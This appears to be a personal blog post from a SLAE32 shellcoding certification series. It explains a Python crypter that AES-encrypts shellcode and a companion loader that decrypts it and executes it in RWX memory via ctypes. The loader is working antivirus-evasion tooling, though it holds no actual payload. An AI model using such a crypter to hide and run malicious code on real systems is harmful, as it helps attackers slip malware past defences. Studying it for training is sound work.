Skip to main content

SLAE32 - Assignment 7

This is a continuation of a seven (7) part series for the SLAE32 Certification challenge. You can read the first six (6) parts here:

Part 1 - Assignment 1

Part 2 - Assignment 2

Part 3 - Assignment 3

Part 4 - Assignment 4

Part 5 - Assignment 5

Part 6 - Assignment 6

The requirements for this assignment are as follows:

  1. Create a custom crypter like the one shown in the "crypters" video
  2. Free to use any existing encryption shcema
  3. Can use any programming language

Full code can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/assignment-7

Supplemental scripts developed for this class can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/scripts


While I really enjoyed assignment six (6), this challenge was my favorite. It gave me an opportunity to advance my knowledge of Python while at the same time thinking through some of the finer details between Python and assembly. I made a ton of initial mistakes when developing the scripts for this challenge. A ton. However, I also learned more from this assignment than the others because of those mistakes. Encoding and Decoding wound up being the biggest headache as I was trying to get creative with these scripts. I wound up developing two pairs of scripts. One pair takes shellcode as a command line option, encrypts it or decrypts and executes the shellcode. The second pair perform the same task but instead of taking the shellcode from the command line, the shellcode is placed within each script. One script encrypts, the other decrypts and executes. Let's break down one pair. We'll focus on the scripts that take the shellcode and key as command line arguments.

In our shellcode-crypter.py script, we use PyCrypto found here: https://pypi.python.org/pypi/pycrypto, sys, argparse, os, and hashlib. My original goal was two fold. One, encrypt the execve-stack shellcode using AES, and two, write this in python. The original class video used RC4 and performed this operation manually using C. This provided the opportunity to learn a new module PyCrypto, which I wasn't familiar with.

#!/usr/bin/env python

####################################################
#
# shellcode-crypter.py
# by Michael Born (@blu3gl0w13)
# Student ID: SLAE-744
# September 26, 2016
#
####################################################

# Imports

from Crypto.Cipher import AES
import sys
import argparse
import os
import hashlib

Once our imports are handled, we'll build a function to handle the encryption. We'll generate a pseudo-random 16 bytes for our salt and then again for our initialization vector. We then use hashlib.sha256().digest() to hash our provided encryption key using SHA256. We'll store our shellcode in messageToEncrypt. Following this we combine our IV, salt, and encrypted shellcode as our cipher text. We finish this function by outputting all of the information to standard out in the various forms we may need.

#---------------------------------------
#
# Define our Encryption Functions
#
#--------------------------------------

def aesCrypter(key, shellcode):
  salt = os.urandom(16)
  initVector = os.urandom(16)
  hashedKey = hashlib.sha256(key + salt).digest()
  mode = AES.MODE_CBC
  encrypterObject = AES.new(hashedKey, mode, initVector)
  messageToEncrypt = shellcode
  cipherText = initVector + salt + encrypterObject.encrypt(messageToEncrypt)
  print "\n\n[+] RAW AES Encrypted Shellcode: \n%s" % cipherText.encode('hex')
  print "\nShellcode Length: %d" % len(cipherText)
  print "\nKey: %s" % key
  print "\nHashedkey: %s Len: %d" % (hashedKey.encode('hex'), len(hashedKey))
  print "\nSalt: %s Len: %d" % (salt.encode('hex'), len(salt))
  print "\nIV: %s Len: %d\n\n" % (initVector.encode('hex'), len(initVector))
  encShellcode = ''

  for i in bytearray(cipherText):
    encShellcode += '\\x%02x' % i

  print '\n[+] Encrypted Shellcode: "%s"\n\n' % encShellcode
  sys.exit(0)

We'll then create the main() function which will handle our argument parser setup and processing along with calling our encryption function. Finally, we'll execute the main function. One important gotcha is that whenever you pass something from the command line, it will be passed as a string. While I knew this, I got confused on the encoding/decoding portion in order to handle the shellcode encryption/decryption properly. We also have to make sure to pad our shellcode to a length divisible by 16 if for some reason it's not.

def main():
  # Setup the argument parser

  parser = argparse.ArgumentParser()
  parser.add_argument("-s", "--shellcode", help="Shellcode to encrypt", dest='shellcode', \
required=True)
  parser.add_argument('-k', '--key', help='AES key to use for encryption', dest='key', \
required=True)
  options = parser.parse_args()

  # Prepare some objects

  key = options.key
  shellcode = options.shellcode
  while (len(shellcode) % 16 !=0):
    shellcode += "\x90"

  aesCrypter(key, shellcode)


if __name__ != main:
  main()

Once we run shellcode-crypter.py we get easy to use output for our decrypter script.




Our shellcode-decrypter.py works much in the same way only it decrypts our encrypted shellcode and executes it. In order to execute shellcode in Python, I relied heavily on the following blog/script: http://hacktracking.blogspot.com/2015/05/execute-shellcode-in-python.html. Just like before, we'll declare our imports, the only difference is we'll need to import the ctypes module. This is what we'll use for executing shellcode in Python. I added pretty verbose comments to display that I made sure I knew what each line of code did. I also altered variable names to better communicate what was going on.

#!/usr/bin/env python

####################################################
#
# shellcode-decrypter.py
# by Michael Born (@blu3gl0w13)
# Student ID: SLAE-744
# September 26, 2016
#
####################################################

# Imports

from Crypto.Cipher import AES
import sys
import argparse
import os
import hashlib
from ctypes import *

This next block of code serves as our decryption function. Notice we need to make sure we pass the key, IV, shellcode, and salt as parameters to the function. Thankfully, based on how we encrypted our shellcode, those should be easy to pull from the cipher text. All with the exception of the key of course. That'll we'll need to remember to pass to the command line as an argument.

#---------------------------------------
#
# Define our Decryption Functions
#
#--------------------------------------


def aesDecrypter(key, IV, shellcode, salt):
  hashedKey = hashlib.sha256(key + salt).digest()
  mode = AES.MODE_CBC
  initVector = IV
  decrypterObject = AES.new(hashedKey, AES.MODE_CBC, initVector)
  messageToDecrypt = shellcode
  clearText = decrypterObject.decrypt(messageToDecrypt)
  #print "\n\n[+] RAW AES Decrypted Shellcode (non hex encoded): \n\"%s\"\n\n" % clearText
  return clearText
  sys.exit(0)

We'll set up our main() function again but this time it will not only set up our argument parser and call our decrypter function but will also use our ctypes module to execute the decrypted shellcode. Like, before we setup our argument parser and variables to handle the provided command line arguments. We can easily determine our salt, and IV based on our original cipher text. We use string slices to separate those from the cipher text. We call our decrypter function and store the return value before executing our shellcode. We begin by declaring our C library from which we will pull functions and store that into a variable called libC. Next, we store decrypted into shellcode, then we decode the value properly to return the decrypted shellcode to the correct format, and then create a character pointer with our decrypted shellcode. We then create another variable to store the length of our decrypted shellcode which we'll have to use later. Once this is complete, we set up a nice cozy place in memory for our shellcode using virtual alloc and store the pointer to that location in memAddrPointer. We follow this by moving our shellcode pointed to by code into the space pointed to by memAddrPointer. We follow this by making sure to put the appropriate permissions (read, write, execute) into the location pointed to by memAddrPointer so that we don't run into issues executing the shellcode stored in that location of memory. Read (4), write (2), and execute (1) permissions are indicated by 7 (0x7). The final two instructions in our main() function set up a function using cast and CFUNCTYPE() in order to set up a compatible callback function so that we can run the decrypted shellcode stored in memory at the address pointed to by memAddrPointer. Finally, we call run() to execute the shellcode. When the main() is all set up, we call it provided our namespace isn't already main.

def main():
  # Setup the argument parser

  parser = argparse.ArgumentParser()
  parser.add_argument("-s", "--shellcode", help="Shellcode to encrypt", dest='shellcode', required=True)
  parser.add_argument('-k', '--key', help='AES key to use for encryption', dest='key', required=True)
  options = parser.parse_args()


  # Prepare some objects
  encryptedPayload = (options.shellcode).replace("\\x", "").decode('hex')
  IV = encryptedPayload[:16]
  salt = encryptedPayload[16:32]
  key = options.key
  shellcode = encryptedPayload[32::]

  decrypted = aesDecrypter(key, IV, shellcode, salt)

  # now we need to run our shellcode from here

  # The following code is based on the following blog:
  # http://hacktracking.blogspot.com/2015/05/execute-shellcode-in-python.html
  # use ctypes.CDLL to load /lib/i386-linux-gnu/libc.so.6

  libC = CDLL('libc.so.6')

  #print decrypted
  shellcode = decrypted
  shellcode = shellcode.replace('\\x', '').decode('hex')
  code = c_char_p(shellcode)
  sizeOfDecryptedShellcode = len(shellcode)

  # now we need to setup our void *valloc(size_t size) and get our pointer to allocated memory

  memAddrPointer = c_void_p(libC.valloc(sizeOfDecryptedShellcode))

  # now we need to move our code into memory using memmove 
  # void *memmove(void *dest, const void *src, size_t n)

  codeMovePointer = memmove(memAddrPointer, code, sizeOfDecryptedShellcode)


  # now we use mprotect to make sure we have read, write, and execute permisions in memory
  # R, WR, X = 0x7

  protectMemory = libC.mprotect(memAddrPointer, sizeOfDecryptedShellcode, 7)
#  print protectMemory

  # now we set up a quick execution for our shellcode using cast ctypes.cast = cast(obj, typ)
  # we'll have to call ctypes.CFUNCTYPE to identify memAddrPointer as void * (c_void_p) type

  run = cast(memAddrPointer, CFUNCTYPE(c_void_p))
#  print run
  run()

if __name__ != main:
  main()


Here are the results of running our shellcode-decrypter.py script.




Once I figured out that my original issues had to do with encoding/decoding the shellcode before the encryption/decryption process, these scripts worked beautifully. So much so that I decided to build two different versions. I encourage you to check out the non-argparse version on GitHub (link near the top of this blog). Thank you for reading this series, please leave feedback or comments. I look forward to writing more about shellcoding in the near future as I dive into it even more.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-744

Comments

Popular posts from this blog

SLAE/SLAE64 Course Review

  After recently finishing both the SLAE ( http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html ) and SLAE64 ( http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html ) courses available through SecurityTube Training, and earning both certifications, I thought I would write a review of the training itself. Personally, I chose these course as a way to learn Assembly in preparation for the Crack The Perimeter (CTP) course and OSCE certification. After taking the Pentesting With Kali (PWK) class and earning the OSCP, I knew I needed to fill some gaps in my knowledge, and specifically with C and Assembly programming. Seeing that there aren't many training offerings that aim to teach Assembly specific to penetration testing and shellcoding, I gave SLAE a try.   If you don't care about the certification itself, you can obtain all of SecurityTube's videos for a small monthly fee through P

SLAE32 - Assignment 1

In preparation for the next Offensive Security certification class and challenge (CTP and OSCE), I decided to invest some time and energy into the Security Tube Linux Assembly Expert 32-bit class. That way I can have a solid foundation in understanding the finer workings of Assembly. Especially since my focus for my second Bachelor's degree was more along the lines of system administration and back-end web development instead of the programming focus of Computer Science. Still, I never stop with my learning and barely slow down at times. This was the first assignment out of seven (7) and the requirements for assignment one (1) were as follows: Create a Shell_Bind_TCP shellcode Binds to a port Execs shell upon connection The PORT number should be easily configurable This is a pretty standard request but I must admit the process was only somewhat familiar. I knew I could write the code pretty easily once I understood the process. For this, I had to fall back on my love

Binary Analysis Cookbook: The Process and Working with Packt

Hello to you, yes you, reading this blog. Thank you for stopping by and I apologize for going silent for a while. Life has been busy in one way or another and unfortunately, this was one area that suffered. Thank you for understanding and please read on. At the end of 2018, I received a LinkedIn message from someone at Packt Publishing inquiring whether I would have any interest in writing a book for them. Naturally, and partly due to my lack of knowledge or experience with the process, I was a bit skeptical. I replied to the e-mail and said I would be interested in finding out more, all while nearly simultaneously I reached out to Packt via their web contact form to verify this person was who she said she was. I mean after all, this kind of thing doesn't normally happen to me and I have done what I can to regain some of my public anonymity following a career in broadcast television.